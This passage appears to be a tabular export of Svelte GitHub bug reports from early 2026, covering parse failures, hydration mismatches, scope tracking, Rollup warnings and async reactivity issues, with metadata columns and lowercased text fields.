~~I tried fixing this a few different ways, but I couldn't find a clean way to deal with this due to my lack of familiarity with the v5 codebase (hi, everyone, miss you!). My thinking was to create two separate scopes, one for arguments and one for the body (either through the body's `BlockStatement` or the `*Function*` themselves), and perhaps call `add_state_transformers` on the function visitors, but every variation I tried ended up interacting badly with different compilation pipeline assumptions.~~

Turns out I just forgot to make the `BlockStatement` scope non-porous as opposed to the function's. Not sure this is the ""cleanest"" solution, but `BlockStatement` already had special-casing for the function cases. See attached PR.

### Reproduction

Scope confusion causes runes' objects to be used instead of its values: https://svelte.dev/playground/590c171f1436486e9072bbc2641c9b53?version=5.53.3

Without required transformations, Svelte's incorrect assumption doesn't affect actual output: https://svelte.dev/playground/20b746af78ca4336b0a47c9e60aed1ec?version=5.53.3

### Logs

```shell

```

### System Info

```shell
repl
```
... [TRUNCATED]",,2026-02-23 17:29:29+00:00,2026-02-25 00:25:00+00:00,0,nan,1.2886,scopes aren t tracked correctly in function arguments describe the bug svelte s scope tracker reuses the same scope for a function s arguments and body body declarations end up referenced in argument initializers shadowing the parent scopes declarations potentially making an initializer skip rune transformation logic i tried fixing this a few different ways but i couldn t find a clean way to deal with this due to my lack of familiarity with the v codebase hi everyone miss you my thinking was to create two separate scopes one for arguments and one for the body either through the body s or the themselves and perhaps call on the function visitors but every variation i tried ended up interacting badly with different compilation pipeline assumptions turns out i just forgot to make the scope non porous as opposed to the function s not sure this is the cleanest solution but already had special casing for the function cases see attached pr reproduction scope confusion causes runes objects to be used instead of its values without required transformations svelte s incorrect assumption doesn t affect actual output logs system info truncated,others,-0.7178
sveltejs/svelte,3971277844,"From svelte5.53.0, parse failures may occur.","### Describe the bug

Since svelte5.53.0, importing a component that uses a function with Generics will likely cause a `Parse failure: Expected '{', got '('` error on the development server.

An example I found is as follows:
```ts
import { Bounds } from 'layerchart';
```

Bounds seems to be using `tweenedScale` defined in `scales.svelte.js` internally, but this appears to be incorrectly interpreted as
`export function tweenedScale()(scale, tweenedOptions = {}) {`

### Reproduction

https://github.com/shamokit/svelte5-53-0

[+page.svelte](https://github.com/shamokit/svelte5-53-0/blob/main/src/routes/%2Bpage.svelte)

<img width=""872"" height=""314"" alt=""Image"" src=""https://github.com/user-attachments/assets/bc431eaf-f910-4e9e-bc60-3419fcf61a47"" />

### Logs

```shell
1:10:31 PM [vite] (ssr) Error when evaluating SSR module /src/routes/+page.svelte: Parse failure: Expected '{', got '('
At file: /node_modules/.pnpm/layerchart@2.0.0-next.44_svelte@5.53.0/node_modules/layerchart/dist/utils/scales.svelte.js:180:30
  File: /node_modules/.pnpm/layerchart@2.0.0-next.44_svelte@5.53.0/node_modules/layerchart/dist/utils/scales.svelte.js:180:30
  178 |   * Animate d3-scale as domain and/or range are updated using tweened store
  179 |   */
  180 |  export function tweenedScale()(scale, tweenedOptions = {}) {
      |                                ^
  181 |         const tweenedDomain = new Tween(undefined, tweenedOptions);
  182 |         const tweenedRange = new Tween(undefined, tweenedOpt... [TRUNCATED]",,2026-02-21 04:19:08+00:00,2026-02-21 07:22:17+00:00,2,nan,0.1272,from svelte parse failures may occur describe the bug since svelte importing a component that uses a function with generics will likely cause a error on the development server an example i found is as follows bounds seems to be using defined in internally but this appears to be incorrectly interpreted as reproduction page svelte logs shell pm vite ssr error when evaluating ssr module src routes page svelte parse failure expected got at file node modules pnpm layerchart next svelte node modules layerchart dist utils scales svelte js file node modules pnpm layerchart next svelte node modules layerchart dist utils scales svelte js animate d scale as domain and or range are updated using tweened store export function tweenedscale scale tweenedoptions const tweeneddomain new tween undefined tweenedoptions const tweenedrange new tween undefined tweenedopt truncated,others,-0.9253
sveltejs/svelte,3970453917,"Could not resolve ""node:crypto"" when bundling for ssr without nodejs platform","### Describe the bug

I'm trying to build a svelte bundle (with esbuild) for server side rendering which runs on a runtime that is not nodejs and thus has no implementation for `node:crypto`.

I'm getting an error saying `Could not resolve ""node:crypto""`.

This issue seems to have appeared with version `5.46.0`.

It seems to be related to this
https://github.com/sveltejs/svelte/blob/0c7f815143c878d4c2819e45e5f2992da1209f63/packages/svelte/src/internal/server/crypto.js#L14-L16

### Reproduction

Full reproduction here https://github.com/razshare/svelte-reproduction-issue-17762

### Logs

```shell
make build 
npx vite build --logLevel=info --outDir=dist/server --emptyOutDir=true --ssr=app.server.ts
vite v7.3.1 building ssr environment for production...
✓ 114 modules transformed.
dist/server/app.server.js  32.24 kB
✓ built in 256ms
./node_modules/.bin/esbuild --bundle --outfile=dist/server/app.server.cjs --format=cjs --allow-overwrite dist/server/app.server.js
✘ [ERROR] Could not resolve ""node:crypto""

    dist/server/app.server.js:267:6:
      267 │       ""node:crypto""
          ╵       ~~~~~~~~~~~~~

  The package ""node:crypto"" wasn't found on the file system but is built into node. Are you trying
  to bundle for node? You can use ""--platform=node"" to do that, which will remove this error.

1 error
make: *** [makefile:3: build] Error 1
```

### System Info

```shell
System:
    OS: Linux 6.12 Debian GNU/Linux 13 (trixie) 13 (trixie)
    CPU: (32) x64 AMD Ryzen 9 5950X 16-Core ... [TRUNCATED]",,2026-02-20 21:29:54+00:00,2026-02-21 19:34:39+00:00,9,nan,0.92,could not resolve node crypto when bundling for ssr without nodejs platform describe the bug i m trying to build a svelte bundle with esbuild for server side rendering which runs on a runtime that is not nodejs and thus has no implementation for i m getting an error saying this issue seems to have appeared with version it seems to be related to this reproduction full reproduction here logs system info shell system os linux debian gnu linux trixie trixie cpu x amd ryzen x core truncated,others,-0.8523
sveltejs/svelte,3969543841,[>= 5.52.0] Error when overriding derived using onclick handlers of custom button components,"### Describe the bug

Overriding derived variables using click handlers of custom button components, for example [bits ui button](https://bits-ui.com/docs/components/button), raises unexpected errors. This does not allow to upgrade svelte version to >= 5.52.0.
**Example code:**

```svelte
<script>
    // Post.svelte
	import { Button } from ""bits-ui"";

	let { post } = $props();

	let likes = $derived(post.likes);

</script>
<!-- This works -->
<!-- <button onclick={() => { likes++; }}>
	🧡 {likes}
</button> -->

<!-- This doesn't work -->
<Button.Root onclick={() => { likes++; }}>
	🧡 {likes}
</Button.Root>

```

```svelte
<script>
    //+page.svelte
	import Post from ""$lib/components/Post.svelte""
</script>

<h1>Welcome to SvelteKit</h1>
<p>Visit <a href=""https://svelte.dev/docs/kit"">svelte.dev/docs/kit</a> to read the documentation</p>

<Post post={{content: 'post', likes: 0}} />
```

### Reproduction

https://github.com/[sukeshpabolu/derived-override-bug](https://github.com/sukeshpabolu/derived-override-bug)

- install dependencies using command similar to `pnpm install`
- run dev server using command similar to `pnpm dev`
- Open dev server in the browser to see the error or in the terminal.

### Logs

```shell

RollupError: Parse failure: The left-hand side of an assignment expression must be a variable or a property access.
At file: /src/lib/components/Post.svelte:18:6
    at getRollupError (file:///C:/Users/abcdefg/Documents/sveltekit-increment-bug/node_modules/.pnpm/rollup... [TRUNCATED]",bug,2026-02-20 17:15:18+00:00,2026-02-21 19:33:49+00:00,2,bug,1.0962,error when overriding derived using onclick handlers of custom button components describe the bug overriding derived variables using click handlers of custom button components for example bits ui button raises unexpected errors this does not allow to upgrade svelte version to example code reproduction install dependencies using command similar to run dev server using command similar to open dev server in the browser to see the error or in the terminal logs shell rolluperror parse failure the left hand side of an assignment expression must be a variable or a property access at file src lib components post svelte at getrolluperror file c users abcdefg documents sveltekit increment bug node modules pnpm rollup truncated,bug,-0.9345
sveltejs/svelte,3967840808,svelte-package + Tailwind CSS: where to import base CSS and get utility classes in the consuming app?,"### Describe the bug

I have a monorepo with two packages: a main app and a component library created with library mode in the Svelte CLI (`npx sv create`). The library uses Tailwind. When I import the library in the main app, its Tailwind utility classes are not generated.

- I can't import base CSS in src/routes because this is a library, not an app.

- Importing it in src/lib/index.ts doesn't work: app.css lives in src/, outside src/lib, and svelte-package only processes src/lib, so the import path breaks in the built output.

- The packaging docs mention sideEffects: [""**/*.css""] but don't explain where to import base CSS or how to make Tailwind classes from the library work in the consuming app.

Is there a recommended way to include base CSS in a svelte-package library and have its Tailwind classes generated when the library is used in another app?

### Reproduction

Here is a minimal reproduction example: https://github.com/OmidNejadabbasi/sveltekit-lib-with-tw
I have added any code for applying tailwind. I want you to tell me what is the best way to solve problem explained in the repo README.md. 

### Logs

```shell

```

### System Info

```shell
System:
    OS: Windows 10 10.0.19045
    CPU: (8) x64 11th Gen Intel(R) Core(TM) i7-1165G7 @ 2.80GHz
    Memory: 7.14 GB / 23.79 GB
  Binaries:
    Node: 25.2.1 - C:\Program Files\nodejs\node.EXE
    Yarn: 1.22.22 - C:\Users\omidne\AppData\Roaming\npm\yarn.CMD
    npm: 10.7.0 - C:\Program Files\nodejs\npm.CMD
    pnpm: 9.15... [TRUNCATED]",,2026-02-20 10:39:28+00:00,2026-02-20 23:45:18+00:00,0,nan,0.5457,svelte package tailwind css where to import base css and get utility classes in the consuming app describe the bug i have a monorepo with two packages a main app and a component library created with library mode in the svelte cli the library uses tailwind when i import the library in the main app its tailwind utility classes are not generated i can t import base css in src routes because this is a library not an app importing it in src lib index ts doesn t work app css lives in src outside src lib and svelte package only processes src lib so the import path breaks in the built output the packaging docs mention sideeffects css but don t explain where to import base css or how to make tailwind classes from the library work in the consuming app is there a recommended way to include base css in a svelte package library and have its tailwind classes generated when the library is used in another app reproduction here is a example i have added any code for applying tailwind i want you to tell me what is the best way to solve problem explained in the repo readme md logs system info shell system os windows cpu x th gen intel r core tm i g ghz memory gb gb binaries node c program files nodejs node exe yarn c users omidne appdata roaming npm yarn cmd npm c program files nodejs npm cmd pnpm truncated,others,0.765
sveltejs/svelte,3966786710,"set_text coerces objects to primitives, not strings","### Describe the bug

The [documentation](https://svelte.dev/docs/svelte/basic-markup#:~:text=all%20others%20are-,coerced%20to%20strings,-.) says,

> A JavaScript expression can be included as text by surrounding it with curly braces.
>```
>{expression}
>```
>Expressions that are null or undefined will be omitted; all others are [coerced to strings](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#string_coercion).

Placing an expression in curly braces sometimes produces code that embeds the expression in a template string, which correctly coerces it to a string first:
```js
$.set_text(text, `${value ?? ''} `);
```
However, other times code is produced that passes the expression directly to `set_text`:
```js
$.set_text(text_1, value);
```
and `set_text` then [concatenates the value with `+ ''`](https://github.com/sveltejs/svelte/blob/0c7f815143c878d4c2819e45e5f2992da1209f63/packages/svelte/src/internal/client/render.js#L48), which actually coerces it to a primitive (by first trying `valueOf`), not a string.

This has observable, real-world effects. For example, Temporal types support `toString`, but [throw on `valueOf`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Temporal/Duration/valueOf#exceptions).

#15287 seems related to determining which form to emit. Because it's effectively predicated on a compiler heuristic, it's tricky as an end-user to work out why correct-looking code sometimes works and ... [TRUNCATED]",,2026-02-20 06:08:55+00:00,2026-02-22 13:40:50+00:00,2,nan,2.3138,set text coerces objects to primitives not strings describe the bug the documentation says a javascript expression can be included as text by surrounding it with curly braces expressions that are null or undefined will be omitted all others are coerced to strings placing an expression in curly braces sometimes produces code that embeds the expression in a template string which correctly coerces it to a string first however other times code is produced that passes the expression directly to and then concatenates the value with which actually coerces it to a primitive by first trying not a string this has observable real world effects for example temporal types support but throw on seems related to determining which form to emit because it s effectively predicated on a compiler heuristic it s tricky as an end user to work out why correct looking code sometimes works and truncated,others,0.4118
sveltejs/svelte,3961254131,Possible regression introduced in 5.52+,"### Describe the bug

Starting from Svelte v5.52.0, I am noticing an error relating to Rollup.

```
RollupError: Parse failure: Expected '{', got '('
At file: /node_modules/layerchart/dist/utils/scales.svelte.js:138:30
    at getRollupError (file:///.../node_modules/rollup/dist/es/shared/parseAst.js:401:41)
    at convertProgram (file:///.../node_modules/rollup/dist/es/shared/parseAst.js:1098:26)
    at parseAstAsync (file:///.../node_modules/rollup/dist/es/shared/parseAst.js:2084:106)
    at async ssrTransformScript (file:///.../node_modules/vite/dist/node/chunks/config.js:15374:9)
    at async loadAndTransform (file:///.../node_modules/vite/dist/node/chunks/config.js:22701:64)
```


### Reproduction

create a svelte 5 project with v5.52+ and install shadcn-svelte with charts. Run the project

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.17 Arch Linux
    CPU: (8) x64 11th Gen Intel(R) Core(TM) i7-1165G7 @ 2.80GHz
    Memory: 8.21 GB / 15.47 GB
    Container: Yes
    Shell: 5.9 - /usr/bin/zsh
  Binaries:
    Node: 25.6.0 - /usr/bin/node
    npm: 11.8.0 - /usr/bin/npm
    bun: 1.3.4 - /home/naya/.local/share/mise/installs/bun/1.3.1/bin/bun
  Browsers:
    Chromium: 144.0.7559.109
  npmPackages:
    svelte: ^5.52.0 => 5.52.0
```

### Severity

blocking an upgrade",,2026-02-19 06:38:39+00:00,2026-02-19 22:18:07+00:00,7,nan,0.6524,possible regression introduced in describe the bug starting from svelte v i am noticing an error relating to rollup reproduction create a svelte project with v and install shadcn svelte with charts run the project logs system info severity blocking an upgrade,bug,-0.7579
sveltejs/svelte,3960158643,Fix change-log and release list format,"### Describe the problem

[svelte@5.53.0](https://github.com/sveltejs/svelte/releases/tag/svelte%405.53.0) release broke the list structure:

<img width=""1482"" height=""737"" alt=""Image"" src=""https://github.com/user-attachments/assets/cc191a94-8ecb-4ad2-b19a-cb9f8bc120f3"" />

<img width=""1512"" height=""1364"" alt=""Image"" src=""https://github.com/user-attachments/assets/08b35a21-14f3-495b-a3d4-3f58173cd86f"" />

### Describe the proposed solution

-

### Importance

nice to have",,2026-02-18 23:01:59+00:00,2026-02-19 16:41:45+00:00,0,nan,0.7359,fix change log and release list format describe the problem svelte release broke the list structure describe the proposed solution importance nice to have,bug,0.5574
sveltejs/svelte,3957075432,False dynamic component with $effect.pre() results in 'Failed to hydrate',"### Describe the bug

This is a follow up of #17408 

If the initially false component is set to a valid one in `$effect.pre()`, then subsequent hydration will generate an error in the browser.

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-ax4pssw5?file=src%2Froutes%2F%2Bpage.svelte

`+page.svelte`
```svelte
<script>
	import HelloWorld from './HelloWorld.svelte';

	let Component = $state();

	$effect.pre(() => {
		Component = HelloWorld;
	});
</script>

<h1>Falsy component & $effect.pre() test</h1>

<Component/>
```

`HelloWorld.svelte`
```svelte
<script>
  let text = $state();

  $effect(() => {
    text = 'world';
  });
</script>

<div>Hello {text}</div>
```
`Browser console`
```
Failed to hydrate:  HierarchyRequestError: Failed to execute 'appendChild' on 'Node': This node type does not support this method.

	in <unknown>
	in +page.svelte
	in +layout.svelte
	in root.svelte
	in undefined
...
```

### Logs

```shell

```

### System Info

```shell
Svelte 5.51.3
SvelteKit 2.52.0
```

### Severity

annoyance",,2026-02-18 10:18:56+00:00,2026-02-18 20:34:39+00:00,0,nan,0.4276,false dynamic component with effect pre results in failed to hydrate describe the bug this is a follow up of if the initially false component is set to a valid one in then subsequent hydration will generate an error in the browser reproduction logs system info severity annoyance,others,-0.8402
sveltejs/svelte,3953967662,[5.49.2] Hydration mismatch in prod,"### Describe the bug

I just noticed that there is an hydration mismatch in prod introduced with the v5.49.2
It does not happen in dev.
I didn't catch it earlier because it happens only on direct access, client side navigation works as expected.

### Reproduction

Unable to find the root cause for now. prod only issues are a pain.
It's a combination of async, if and snippet.

### Logs

```shell
Unhelpful hydration mismatch warning + error
```

### System Info

```shell
System:
    OS: Linux 5.15 Debian GNU/Linux 13 (trixie) 13 (trixie)
    CPU: (16) x64 AMD Ryzen 9 7940HS w/ Radeon 780M Graphics
    Memory: 9.92 GB / 15.23 GB
    Container: Yes
    Shell: 5.2.37 - /bin/bash
  Binaries:
    bun: 1.3.10 - /usr/local/bin/bun
  npmPackages:
    svelte: 5.53.10
```

### Severity

blocking an upgrade",awaiting submitter,2026-02-17 17:50:38+00:00,2026-03-17 11:48:27+00:00,3,awaiting submitter,27.7485,hydration mismatch in prod describe the bug i just noticed that there is an hydration mismatch in prod introduced with the v it does not happen in dev i didn t catch it earlier because it happens only on direct access client side navigation works as expected reproduction unable to find the root cause for now prod only issues are a pain it s a combination of async if and snippet logs system info severity blocking an upgrade,others,-0.836
sveltejs/svelte,3951415567,Rollup warning @__PURE__ since 5.51.0,"### Describe the bug

After upgrading to version 5.51.0 our build system using Rollup give the following warnings:

```
node_modules/svelte/src/internal/client/constants.js (70:24): A comment

""/* @__PURE__ */""

in ""node_modules/svelte/src/internal/client/constants.js"" contains an annotation that Rollup cannot interpret due to the position of the comment. The comment will be removed to avoid issues.

node_modules/svelte/src/internal/client/dom/reconciler.js (5:15): A comment

""/* @__PURE__ */""

in ""node_modules/svelte/src/internal/client/dom/reconciler.js"" contains an annotation that Rollup cannot interpret due to the position of the comment. The comment will be removed to avoid issues.
```

Which is located in the following files:
https://github.com/sveltejs/svelte/blob/82265f14965fef95289bdb41baba5ffbbff1fcd6/packages/svelte/src/internal/client/constants.js#L70
https://github.com/sveltejs/svelte/blob/82265f14965fef95289bdb41baba5ffbbff1fcd6/packages/svelte/src/internal/client/dom/reconciler.js#L5

<img width=""863"" height=""182"" alt=""Image"" src=""https://github.com/user-attachments/assets/ce505524-dfbb-415f-9eef-5b29fa000023"" />

### Reproduction

https://stackblitz.com/edit/stackblitz-starters-cipx9fpu?file=package.json

```sh
npm install
npm run build
```

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.6 Ubuntu 24.04.3 LTS 24.04.3 LTS (Noble Numbat)
    CPU: (8) x64 Intel(R) Core(TM) Ultra 7 258V
    Memory: 2.28 GB / 15.38 GB
    Container: Yes
 ... [TRUNCATED]",,2026-02-17 08:06:30+00:00,2026-02-17 10:11:07+00:00,2,nan,0.0865,rollup warning pure since describe the bug after upgrading to version our build system using rollup give the following warnings which is located in the following files reproduction logs system info shell system os linux ubuntu lts lts noble numbat cpu x intel r core tm ultra v memory gb gb container yes truncated,others,0.5423
sveltejs/svelte,3950636697,#each key with array blows up,"### Describe the bug

https://svelte.dev/docs/svelte/each#Keyed-each-blocks

> The key can be any object

So I tried using array as a key for #each block:

```
{#each things as thing ([thing.group, thing.id])}
```

Works fine when page loads, but when data changes, it throws error.

Had to convert to string in order to get it working:

```
{#each things as thing ([thing.group, thing.id].join('-')}
```

So either docs need updating, or #each needs fixing to support array keys

### Reproduction

https://svelte.dev/playground/1db5362a3e974b209b11ae389758c93f?version=5.51.2

Click button, check browser console.

### Logs

```shell
playground:output:5619 Uncaught TypeError: Cannot read properties of undefined (reading 'e')
    at reconcile (playground:output:5619:54)
    at commit (playground:output:5450:4)
    at Batch.process (playground:output:1109:46)
    at flush_effects (playground:output:1484:11)
    at Batch.flush (playground:output:1244:5)
    at Array.eval (playground:output:1417:13)
    at run_all (playground:output:126:10)
    at run_micro_tasks (playground:output:739:3)
    at eval (playground:output:757:32)
```

### System Info

```shell
System:
    OS: macOS 26.3
    CPU: (14) arm64 Apple M4 Pro
    Memory: 439.02 MB / 24.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.10.0 - /Users/kieran/.local/share/mise/installs/node/24.10.0/bin/node
    npm: 11.6.1 - /Users/kieran/.local/share/mise/installs/node/24.10.0/bin/npm
    pnpm: 10.29.3 - /Users/kieran/.local/... [TRUNCATED]",,2026-02-17 03:55:42+00:00,2026-02-17 21:38:13+00:00,1,nan,0.7379,each key with array blows up describe the bug the key can be any object so i tried using array as a key for each block works fine when page loads but when data changes it throws error had to convert to string in order to get it working so either docs need updating or each needs fixing to support array keys reproduction click button check browser console logs system info shell system os macos cpu arm apple m pro memory mb gb shell bin zsh binaries node users kieran local share mise installs node bin node npm users kieran local share mise installs node bin npm pnpm users kieran local truncated,others,0.3818
sveltejs/svelte,3949941057,`print(parse(code))` produces broken code,"### Describe the bug

See reproduction
1. The keyword `module` is missing.
2. The keyword `in` has been replaced with `extends`.
3. `;}` in `@const` expression

### Reproduction

https://svelte.dev/playground/hello-world?version=5.51.2#H4sIAAAAAAAAA3WQQU_DMAyF_4plDtukahVwK9sEN8QEHDgukwiNC4E0iRKPgaL8d5RuiA3BLXl-tp-_hFb2hA1ekzEOti4YBWNSmklNsMJOG4rYrBLypy--ImD13XXl_TS-k-GiPclIf-mts0yWIzY4i23QnhfCCta9d4EhgZchUgU-aMuQoQuuh9Guu25d77WhMLoQ9qCpdYr2xmmtJMvpaxwJO6t_5tuZD7RIxZlndXkP4kuA-qA8LB0PCcbFWkGC3ikKtgEOG4I8mUyPZmCFTB-MTSnn6h8w-0zHVH7EAyT0MVykqJMbw_C4RwRG2ue5QI4CB1yKWiMDlXQbQyBwR0ggpLxjU4LALcwhlZ_g1RK0hTf6dB3cPNzfrRtYlkr-BSqd6G44tszhdNk6Gxk652AOp2fnWdhU6y4L-3h8-7pCltpstVXYdNJEyl-slgCKTwIAAA

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.12 cpe:/o:nixos:nixos:25.11 25.11 (Xantusia)
    CPU: (8) x64 Intel(R) Core(TM) i5-8250U CPU @ 1.60GHz
    Memory: 1.76 GB / 7.64 GB
    Container: Yes
    Shell: 5.3.3 - /run/current-system/sw/bin/bash
  Binaries:
    Node: 24.13.0 - /nix/store/956qv0nylc2sbj7fdbycfl6l5bm1hs47-nodejs-24.13.0/bin/node
    npm: 11.6.2 - /nix/store/956qv0nylc2sbj7fdbycfl6l5bm1hs47-nodejs-24.13.0/bin/npm
    pnpm: 10.28.0 - /nix/store/h8b8sm58mryc12cl12jn8h04v68wi96j-pnpm-10.28.0/bin/pnpm
  Browsers:
    Brave Browser: 144.1.86.146
  npmPackages:
    svelte: ^5.51.2 => 5.51.2
```

### Severity

annoyance",,2026-02-16 23:14:20+00:00,2026-05-02 07:47:19+00:00,2,nan,74.3562,produces broken code describe the bug see reproduction the keyword is missing the keyword has been replaced with in expression reproduction logs system info severity annoyance,others,-0.8625
sveltejs/svelte,3948459315,Problem with subsequent await calls.,"### Describe the bug

When navigating between pages that use `<svelte:boundary>` and `await` before the promise is completed, the page appears to enter a kind of loop and freezes.

### Reproduction

https://www.sveltelab.dev/38u56p3y900qs0p

1. Access the link above.
2. Navigate between the pages before the Promise is resolved.

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.8 Ubuntu 24.04.3 LTS 24.04.3 LTS (Noble Numbat)
    CPU: (8) x64 Intel(R) Core(TM) i5-10300H CPU @ 2.50GHz
    Memory: 3.89 GB / 15.49 GB
    Container: Yes
    Shell: 5.2.21 - /bin/bash
  Binaries:
    Node: 22.22.0 - /usr/bin/node
    npm: 10.9.4 - /usr/bin/npm
  Browsers:
    Firefox: 147.0.3
    Firefox Developer Edition: 147.0.3
```

### Severity

blocking an upgrade",,2026-02-16 16:00:08+00:00,2026-02-25 16:02:57+00:00,0,nan,9.002,problem with subsequent await calls describe the bug when navigating between pages that use and before the promise is completed the page appears to enter a kind of loop and freezes reproduction access the link above navigate between the pages before the promise is resolved logs system info severity blocking an upgrade,bug,-0.4019
sveltejs/svelte,3943754128,Uncaught TypeError: stop is not a function,"### Describe the bug

Error happens on this line: https://github.com/sveltejs/svelte/blob/82265f14965fef95289bdb41baba5ffbbff1fcd6/packages/svelte/src/reactivity/create-subscriber.js#L83

Because `stop`, which comes from `stop = untrack(() => start(() => increment(version)));` is apparently sometimes an instance of `SafeSubscriber`, which seems to be more like a class instance than a function.

### Reproduction

Well I noticed the error in one of my own playgrounds:
https://svelte.dev/playground/b6b4d03d258f4cb2a0248b0859ae3f28?version=5.51.1

To reproduce, first click the button that says ""CLICK HERE"" and then the button that says ""Toggle Foo"".

### Logs

```shell
playground:output:2062 Uncaught TypeError: stop is not a function
    at Array.eval (playground:output:2062:15)
    at run_all (playground:output:144:10)
    at run_micro_tasks (playground:output:963:3)
    at eval (playground:output:981:32)
eval	@	playground:output:2062
run_all	@	playground:output:144
run_micro_tasks	@	playground:output:963
eval	@	playground:output:981
```

### System Info

```shell
N/A
```

### Severity

annoyance",,2026-02-15 10:37:02+00:00,2026-02-15 11:27:32+00:00,1,nan,0.0351,uncaught typeerror stop is not a function describe the bug error happens on this line because which comes from is apparently sometimes an instance of which seems to be more like a class instance than a function reproduction well i noticed the error in one of my own playgrounds to reproduce first click the button that says click here and then the button that says toggle foo logs system info severity annoyance,bug,-0.8228
sveltejs/svelte,3943103297,await isn't allowed in non-async function,"### Describe the bug

```svelte
<button
  type=""button""
  onclick={async () => {
    await console.log(Date.now());
  }}
>
  Button
</button>
```

```
Error compiling component

virtual://$/App.svelte (4:8): await isn't allowed in non-async function (Note that you need plugins to import files that are not JavaScript)
```

### Reproduction

Broken since 5.51.1:
 
- https://svelte.dev/playground/589ac1fcf2ae48cfaa4371548bd12a32?version=5.51.1
- https://svelte.dev/playground/589ac1fcf2ae48cfaa4371548bd12a32?version=5.51.0

### Logs

```shell

```

### System Info

```shell
-
```

### Severity

blocking an upgrade",,2026-02-15 04:46:49+00:00,2026-02-15 09:44:25+00:00,4,nan,0.2067,await isn t allowed in non async function describe the bug reproduction broken since logs system info severity blocking an upgrade,others,-0.8074
sveltejs/svelte,3941213412,regression in 5.50.3 - Cannot read properties of undefined (reading 'includes'),"### Describe the bug

Reported in discord:
> I'm trying to update svelte from v5.50.1 to v5.51.0 but it is causing an error (Cannot read properties of undefined (reading 'includes')) when running wxt prepare as a postinstall script (wxt is a web extension development framework)


I guess `document.contentType` is `undefined` in browser extensions here:
https://github.com/sveltejs/svelte/blob/220b526d3aac9db5ba06181165a9c24a663f178b/packages/svelte/src/internal/client/constants.js#L70

### Reproduction

```shell
git clone https://github.com/schooltape/schooltape
cd schooltape
bun install
# wxt prepare should run as a postinstall script but can be triggered manually with:
bun run postinstall
```

### Logs

```shell
ERROR  Cannot read properties of undefined (reading 'includes')                                                                                                                                                                                                            10:03:04 pm

    at node_modules/svelte/src/internal/client/constants.js:70:73
    at ViteNodeRunner.runModule (node_modules/vite-node/dist/client-CyS7w_FB.mjs:369:44)
    at ViteNodeRunner.directRequest (node_modules/vite-node/dist/client-CyS7w_FB.mjs:349:14)
    at ViteNodeRunner.cachedRequest (node_modules/vite-node/dist/client-CyS7w_FB.mjs:182:11)
    at ViteNodeRunner.dependencyRequest (node_modules/vite-node/dist/client-CyS7w_FB.mjs:229:10)
    at node_modules/svelte/src/internal/client/reactivity/e... [TRUNCATED]",runtime,2026-02-14 11:44:01+00:00,2026-02-14 12:30:03+00:00,0,runtime,0.032,regression in cannot read properties of undefined reading includes describe the bug reported in discord i m trying to update svelte from v to v but it is causing an error cannot read properties of undefined reading includes when running wxt prepare as a postinstall script wxt is a web extension development framework i guess is in browser extensions here reproduction logs shell error cannot read properties of undefined reading includes pm at node modules svelte src internal client constants js at vitenoderunner runmodule node modules vite node dist client cys w fb mjs at vitenoderunner directrequest node modules vite node dist client cys w fb mjs at vitenoderunner cachedrequest node modules vite node dist client cys w fb mjs at vitenoderunner dependencyrequest node modules vite node dist client cys w fb mjs at node modules svelte src internal client reactivity e truncated,bug,-0.8968
sveltejs/svelte,3939073047,`$derived` with `await` delays source `$state` update,"### Describe the bug

When you use a state in a `$derived` syntax with `await`, the state update does not trigger a render until the async process completes


### Reproduction

```svelte
<script>
	let count = $state(0); // not updated immediately
	let count2 = $derived(await f(count));

	function f(n) {
		return new Promise((f) => setTimeout(() => f(n), n + 1000));
	}
</script>

<button onclick={() => count += 1}>
	clicks: {count} / {count2}
</button>
```

- Playground: https://svelte.dev/playground/0841bb05b5fa408f883edd59210479f6?version=5.51.0

When the state `count` is update, the template `{count}` is not updated until the derived `count2` update completes

FYI we can use `$effect` to avoid the problem:

```ts
let count = $state(0);
let count2 = $state(0);
$effect(async () => (count2 = await f(count)));
```

- Playground (solved by `$effect`): https://svelte.dev/playground/de9de5cac71c43ec9dbc7f15f652f1e4?version=5.51.0


### Logs

```shell

```

### System Info

```shell
N/A
```

### Severity

annoyance",,2026-02-13 20:34:06+00:00,2026-02-14 12:33:58+00:00,3,nan,0.6666,with delays source update describe the bug when you use a state in a syntax with the state update does not trigger a render until the async process completes reproduction playground when the state is update the template is not updated until the derived update completes fyi we can use to avoid the problem playground solved by logs system info severity annoyance,others,-0.743
sveltejs/svelte,3937805439,"+error.svelte not triggered correctly when navigating, leaving the app broken","### Describe the bug

For sveltekit, +error.svelte doesn't seem to be working right.
- An error that happens during route setup is acting very differently depending on whether you load the page on that route, or whether you click to that route from a different page. In my repro linked below, if you directly open `http://localhost:5173/bad-route-svelte`, then you get an error page as expected. However, if you click to that route from home, then the error gets just logged to the console, and after that the whole app is dead, navigation to other links doesn't work anymore. This is the case both for a regular Error throw or the sveltekit error with a statuscode.

- A javascript error after setup that bubbles up to the top never triggers +error.svelte, also not if you throw the sveltekit error(500, ""server error""), (this can be done using the buttons in my repro repository). It just becomes a log in the browser's console, but at least the rest of the app keeps on working. Maybe this should be added to the documentation, that +error doesn't apply to this.

### Reproduction

Here's a small reproduction repository: https://github.com/mathijs81/sveltekit-error-reproduction

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.17 Ubuntu 24.04.3 LTS 24.04.3 LTS (Noble Numbat)
    CPU: (16) x64 AMD Ryzen 9 5900HX with Radeon Graphics
    Memory: 19.49 GB / 30.75 GB
    Container: Yes
    Shell: 5.2.21 - /bin/bash
  Binaries:
